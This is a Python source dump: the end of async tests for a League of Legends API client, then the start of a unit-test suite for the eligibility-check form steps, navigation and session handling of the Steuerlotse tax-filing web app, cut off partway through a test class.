except Exception as e: print(e) assert data["tier"] == "MASTER" assert data["queue"] == "RANKED_FLEX_SR" assert type(data["entries"]) == list def test_league_entries_by_summonerId(): try: data = loop.run_until_complete(panth.getLeaguePosition(summonerId)) except Exception as e: print(e) assert type(data) == list def test_league_entries(): try: data = loop.run_until_complete(panth.getLeaguePages()) except Exception as e: print(e) assert type(data) == list if len(data) > 0: entry = data[0] assert entry["queueType"] == "RANKED_SOLO_5x5" assert entry["tier"] == "DIAMOND" assert entry["rank"] == "I" else: pytest.skip("not enough player at this rank") def test_league_entries_params(): try: data = loop.run_until_complete(panth.getLeaguePages(queue="RANKED_FLEX_SR", tier="SILVER", division="III")) except Exception as e: print(e) assert type(data) == list if len(data) > 0: entry = data[0] assert entry["queueType"] == "RANKED_FLEX_SR" assert entry["tier"] == "SILVER" assert entry["rank"] == "III" else: pytest.skip("not enough player at this rank") def test_league_entries_pages(): try: data = loop.run_until_complete(panth.getLeaguePages(queue="RANKED_FLEX_SR", tier="SILVER", division="III", page=1)) except Exception as e: print(e) try: data_2 = loop.run_until_complete(panth.getLeaguePages(queue="RANKED_FLEX_SR", tier="SILVER", division="III", page=2)) except Exception as e: print(e) assert type(data) == list if len(data) > 0 and len(data_2) > 0: entry = data[0] assert entry["queueType"] == "RANKED_FLEX_SR" assert entry["tier"] == "SILVER" assert entry["rank"] == "III" entry_2 = data_2[0] assert not entry == entry_2 else: pytest.skip("not enough player at this rank")

27.753165

125

0.61756

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0

1

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0

7

04a8004ca309a9d2180cf2f8d455c62965028f04

209,353

py

Python

webapp/tests/forms/steps/test_eligibility_steps.py

digitalservice4germany/steuerlotse

ef3e094e4d7d4768431a50ac4be60672cd03221d

[ "MIT" ]

20

2021-07-02T07:49:08.000Z

2022-03-18T22:26:10.000Z

webapp/tests/forms/steps/test_eligibility_steps.py

digitalservice4germany/steuerlotse

ef3e094e4d7d4768431a50ac4be60672cd03221d

[ "MIT" ]

555

2021-06-28T15:35:15.000Z

2022-03-31T11:51:55.000Z

webapp/tests/forms/steps/test_eligibility_steps.py

digitalservice4germany/steuerlotse

ef3e094e4d7d4768431a50ac4be60672cd03221d

[ "MIT" ]

1

2021-07-04T20:34:12.000Z

import unittest from unittest.mock import patch, MagicMock import pytest from flask.sessions import SecureCookieSession from flask_babel import ngettext, _ from pydantic import ValidationError from werkzeug.datastructures import ImmutableMultiDict from werkzeug.exceptions import NotFound from app.forms.flows.eligibility_step_chooser import EligibilityStepChooser, _ELIGIBILITY_DATA_KEY from app.forms.session_data import deserialize_session_data from app.forms.steps.eligibility_steps import MarriedJointTaxesEligibilityFailureDisplaySteuerlotseStep, \ MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep, \ MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep, IncorrectEligibilityData, \ UserAElsterAccountEligibilityInputFormSteuerlotseStep, MarriedAlimonyEligibilityFailureDisplaySteuerlotseStep, \ UserBElsterAccountDecisionEligibilityInputFormSteuerlotseStep, PensionDecisionEligibilityInputFormSteuerlotseStep, \ DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep, \ DivorcedJointTaxesEligibilityFailureDisplaySteuerlotseStep, \ SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep, SingleAlimonyEligibilityFailureDisplaySteuerlotseStep, \ SingleElsterAccountDecisionEligibilityInputFormSteuerlotseStep, PensionEligibilityFailureDisplaySteuerlotseStep, \ InvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep, EmploymentDecisionEligibilityInputFormSteuerlotseStep, \ TaxedInvestmentIncomeEligibilityFailureDisplaySteuerlotseStep, \ MinimalInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep, \ TaxedInvestmentIncomeDecisionEligibilityInputFormSteuerlotseStep, \ CheaperCheckDecisionEligibilityInputFormSteuerlotseStep, CheaperCheckEligibilityFailureDisplaySteuerlotseStep, \ MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep, \ IncomeOtherDecisionEligibilityInputFormSteuerlotseStep, \ MarginalEmploymentIncomeEligibilityFailureDisplaySteuerlotseStep, \ IncomeOtherEligibilityFailureDisplaySteuerlotseStep, ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep, \ ForeignCountriesEligibilityFailureDisplaySteuerlotseStep, EligibilitySuccessDisplaySteuerlotseStep, \ SeparatedEligibilityInputFormSteuerlotseStep, MaritalStatusInputFormSteuerlotseStep, \ EligibilityStepMixin, SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep, \ EligibilityStartDisplaySteuerlotseStep, SeparatedJointTaxesEligibilityInputFormSteuerlotseStep, \ EligibilityMaybeDisplaySteuerlotseStep, \ data_fits_data_model_from_list, data_fits_data_model from app.forms.steps.steuerlotse_step import RedirectSteuerlotseStep from app.model.recursive_data import PreviousFieldsMissingError from tests.forms.mock_steuerlotse_steps import MockRenderStep, MockStartStep, MockFormStep, MockFinalStep, \ MockDecisionEligibilityInputFormSteuerlotseStep from tests.utils import create_session_form_data FULL_SESSION_DATA = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no', 'foreign_country_eligibility': 'no'} class TestEligibilityStepChooser(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def setUp(self): testing_steps = [MockStartStep, MockRenderStep, MockFormStep, MockFinalStep] testing_steps_dict = {s.name: s for s in testing_steps} self.endpoint_correct = "eligibility" self.step_chooser = EligibilityStepChooser(endpoint=self.endpoint_correct) self.step_chooser.steps = testing_steps_dict self.step_chooser.step_order = [s.name for s in testing_steps] self.step_chooser.first_step = next(iter(testing_steps_dict.values())) self.stored_data = self.step_chooser.default_data() # Set sessions up self.existing_session = "sessionAvailable" self.session_data = {'renten': 'yes', 'pensionen': 'yes', 'geringf': 'yes', 'kapitaleink': 'yes', 'other': 'no'} def test_if_correct_step_name_then_return_correct_step(self): response_step = self.step_chooser.get_correct_step(MockRenderStep.name, False, ImmutableMultiDict({})) self.assertIsInstance(response_step, MockRenderStep) def test_if_incorrect_step_name_then_raise_404_exception(self): self.assertRaises(NotFound, self.step_chooser.get_correct_step, "Incorrect Step Name", False, ImmutableMultiDict({})) def test_if_start_step_then_return_redirect_step(self): self.step_chooser.default_data = lambda: None response_step = self.step_chooser.get_correct_step("start", False, ImmutableMultiDict({})) self.assertIsInstance(response_step, RedirectSteuerlotseStep) self.assertEqual(response_step.redirection_step_name, MockStartStep.name) self.assertEqual(response_step.endpoint, self.endpoint_correct) class TestEligibilityStepSpecificsMixin(unittest.TestCase): def test_if_married_and_joint_taxes_false_then_return_2(self): input_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', } num_of_users = EligibilityStepMixin().number_of_users(input_data) self.assertEqual(2, num_of_users) def test_if_married_and_joint_taxes_true_then_return_2(self): input_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', } num_of_users = EligibilityStepMixin().number_of_users(input_data) self.assertEqual(2, num_of_users) def test_if_data_incorrect_then_return_1(self): input_data = {'marital_status_eligibility': 'widowed'} num_of_users = EligibilityStepMixin().number_of_users(input_data) self.assertEqual(1, num_of_users) class TestDataFitsDataModel: def test_if_model_fails_then_return_false(self): failing_model = MagicMock(parse_obj=MagicMock(side_effect=ValidationError([], None))) result = data_fits_data_model(failing_model, {}) assert result is False def test_if_model_does_not_fail_then_return_true(self): succeeding_model = MagicMock() result = data_fits_data_model(succeeding_model, {}) assert result is True class TestDataFitsOneDataModel: def test_if_all_models_fail_then_return_false(self): failing_model = MagicMock(parse_obj=MagicMock(side_effect=ValidationError([], None))) models = [failing_model, failing_model, failing_model] result = data_fits_data_model_from_list(models, {}) assert result is False def test_if_one_model_does_not_fail_then_return_true(self): failing_model = MagicMock(parse_obj=MagicMock(side_effect=ValidationError([], None))) succeeding_model = MagicMock() models = [failing_model, succeeding_model, failing_model] result = data_fits_data_model_from_list(models, {}) assert result is True def test_if_all_models_does_not_fail_then_return_true(self): succeeding_model = MagicMock() models = [succeeding_model, succeeding_model, succeeding_model] result = data_fits_data_model_from_list(models, {}) assert result is True class TestEligibilityInputFormSteuerlotseStepIsPreviousStep(unittest.TestCase): def setUp(self): self.step = MockDecisionEligibilityInputFormSteuerlotseStep self.valid_data_model = MagicMock(parse_obj=MagicMock(return_value=None)) self.invalid_data_model = MagicMock(parse_obj=MagicMock(side_effect=ValidationError([], None))) def test_if_one_model_and_data_valid_for_model_then_return_true(self): self.step.next_step_data_models = [(self.valid_data_model, 'next_step_model')] return_value = self.step.is_previous_step('next_step_model', {}) self.assertTrue(return_value) def test_if_one_model_and_data_invalid_for_model_then_return_false(self): self.step.next_step_data_models = [(self.invalid_data_model, 'next_step_model')] return_value = self.step.is_previous_step('next_step_model', {}) self.assertFalse(return_value) def test_if_multiple_models_and_data_valid_for_one_model_then_return_true(self): self.step.next_step_data_models = [(self.valid_data_model, 'next_step_model_1'), (self.invalid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('next_step_model_1', {}) self.assertTrue(return_value) self.step.next_step_data_models = [(self.invalid_data_model, 'next_step_model_1'), (self.valid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('next_step_model_2', {}) self.assertTrue(return_value) def test_if_multiple_models_and_data_valid_for_both_models_then_return_true_for_first_model(self): self.step.next_step_data_models = [(self.valid_data_model, 'next_step_model_1'), (self.valid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('next_step_model_1', {}) self.assertTrue(return_value) def test_if_multiple_models_and_data_valid_for_both_models_then_return_true_for_second_model(self): self.step.next_step_data_models = [(self.valid_data_model, 'next_step_model_1'), (self.valid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('next_step_model_2', {}) self.assertTrue(return_value) def test_if_multiple_models_and_data_invalid_for_both_models_then_return_false(self): self.step.next_step_data_models = [(self.invalid_data_model, 'next_step_model_1'), (self.invalid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('next_step_model_1', {}) self.assertFalse(return_value) def test_if_multiple_models_and_data_valid_for_both_models_but_next_step_not_matching_then_return_false(self): self.step.next_step_data_models = [(self.valid_data_model, 'next_step_model_1'), (self.valid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('next_step_model_3', {}) self.assertFalse(return_value) def test_if_given_step_name_is_not_in_next_step_list_then_return_false(self): self.step.next_step_data_models = [(self.valid_data_model, 'next_step_1'), (self.invalid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('DIFFERENT_STEP', {}) self.assertFalse(return_value) def test_if_matching_model_is_not_given_next_step_name_then_return_false(self): self.step.next_step_data_models = [(self.valid_data_model, 'not_actual_next_step'), (self.invalid_data_model, 'next_step_model_2')] return_value = self.step.is_previous_step('actual_next_step', {}) self.assertFalse(return_value) class TestEligibilityStartDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def test_sets_correct_session_data_to_empty_dict(self): session_data = { _ELIGIBILITY_DATA_KEY: create_session_form_data({'marital_status_eligibility': 'single'}) } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession(session_data) step = EligibilityStepChooser('eligibility').get_correct_step(EligibilityStartDisplaySteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual({}, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_does_not_change_other_session_data(self): other_session_key = 'OTHER_SESSION_KEY' other_session_data = {'Galileo': 'Figaro - magnificoo'} another_session_key = 'ANOTHER_SESSION_KEY' another_session_data = {'Scaramouch': 'Fandango'} session_data = { _ELIGIBILITY_DATA_KEY: create_session_form_data({'marital_status_eligibility': 'single'}), other_session_key: create_session_form_data(other_session_data), another_session_key: create_session_form_data(another_session_data) } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession(session_data) step = EligibilityStepChooser('eligibility').get_correct_step(EligibilityStartDisplaySteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(other_session_data, deserialize_session_data(req.session[other_session_key])) self.assertEqual(another_session_data, deserialize_session_data(req.session[another_session_key])) def test_does_not_add_data_to_empty_session_data(self): session_data = {} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession(session_data) step = EligibilityStepChooser('eligibility').get_correct_step(EligibilityStartDisplaySteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual({}, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_leaves_session_data_without_correct_key_untouched(self): other_session_key = 'OTHER_SESSION_KEY' other_session_data = {'Galileo': 'Figaro - magnificoo'} session_data = { other_session_key: create_session_form_data(other_session_data) } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession(session_data) step = EligibilityStepChooser('eligibility').get_correct_step(EligibilityStartDisplaySteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(other_session_data, deserialize_session_data(req.session[other_session_key])) @pytest.mark.usefixtures("test_request_context") class TestMaritalStatusInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def test_if_post_and_married_then_set_next_step_correct(self): with self.app.test_request_context(method='POST'): step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict( {'marital_status_eligibility': 'married'})) expected_url = step.url_for_step(SeparatedEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_widowed_then_set_next_step_correct(self): step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict( {'marital_status_eligibility': 'widowed'})) expected_url = step.url_for_step(SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_single_then_set_next_step_correct(self): step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict( {'marital_status_eligibility': 'single'})) expected_url = step.url_for_step(SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_divorced_then_set_next_step_correct(self): step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict( {'marital_status_eligibility': 'divorced'})) expected_url = step.url_for_step(DivorcedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET'): step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(EligibilityStartDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step(MaritalStatusInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestSeparatedEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'married'} def test_if_post_and_session_data_correct_and_input_data_correct_than_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_since_last_year_eligibility': 'yes'})) expected_url = step.url_for_step(SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_since_last_year_eligibility': 'no'})) expected_url = step.url_for_step(MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MaritalStatusInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_since_last_year_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestSeparatedLivedTogetherEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_then_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_lived_together_eligibility': 'yes'})) expected_url = step.url_for_step(SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_lived_together_eligibility': 'no'})) expected_url = step.url_for_step(SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SeparatedEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with self.app.test_request_context(method='POST'), \ patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_lived_together_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'yes', } session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(self.correct_session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestSeparatedJointTaxesEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'yes', 'separated_lived_together_eligibility': 'yes'} def test_if_post_and_session_data_correct_and_input_data_correct_then_set_next_input_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_joint_taxes_eligibility': 'yes'})) expected_url = step.url_for_step(MarriedAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_post_and_session_data_correct_and_input_data_incorrect_than_set_next_url_to_alternative_step(self): with self.app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_joint_taxes_eligibility': 'no'})) expected_url = step.url_for_step(SingleAlimonyDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_session_data_correct_then_set_prev_input_step_correctly(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(SeparatedLivedTogetherEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with self.app.test_request_context(method='POST'), \ patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'separated_joint_taxes_eligibility': 'yes'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data_with_incorrect_key = {**self.correct_session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(self.correct_session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(self.correct_session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', } with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( SeparatedJointTaxesEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) class TestMarriedJointTaxesEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def test_handle_sets_correct_prev_url(self): with self.app.test_request_context(): step = MarriedJointTaxesEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=MarriedJointTaxesEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(MarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestMarriedJointTaxesDecisionEligibilityInputFormSteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, app): self.app = app def setUp(self): self.correct_session_data = {'marital_status_eligibility': 'married', 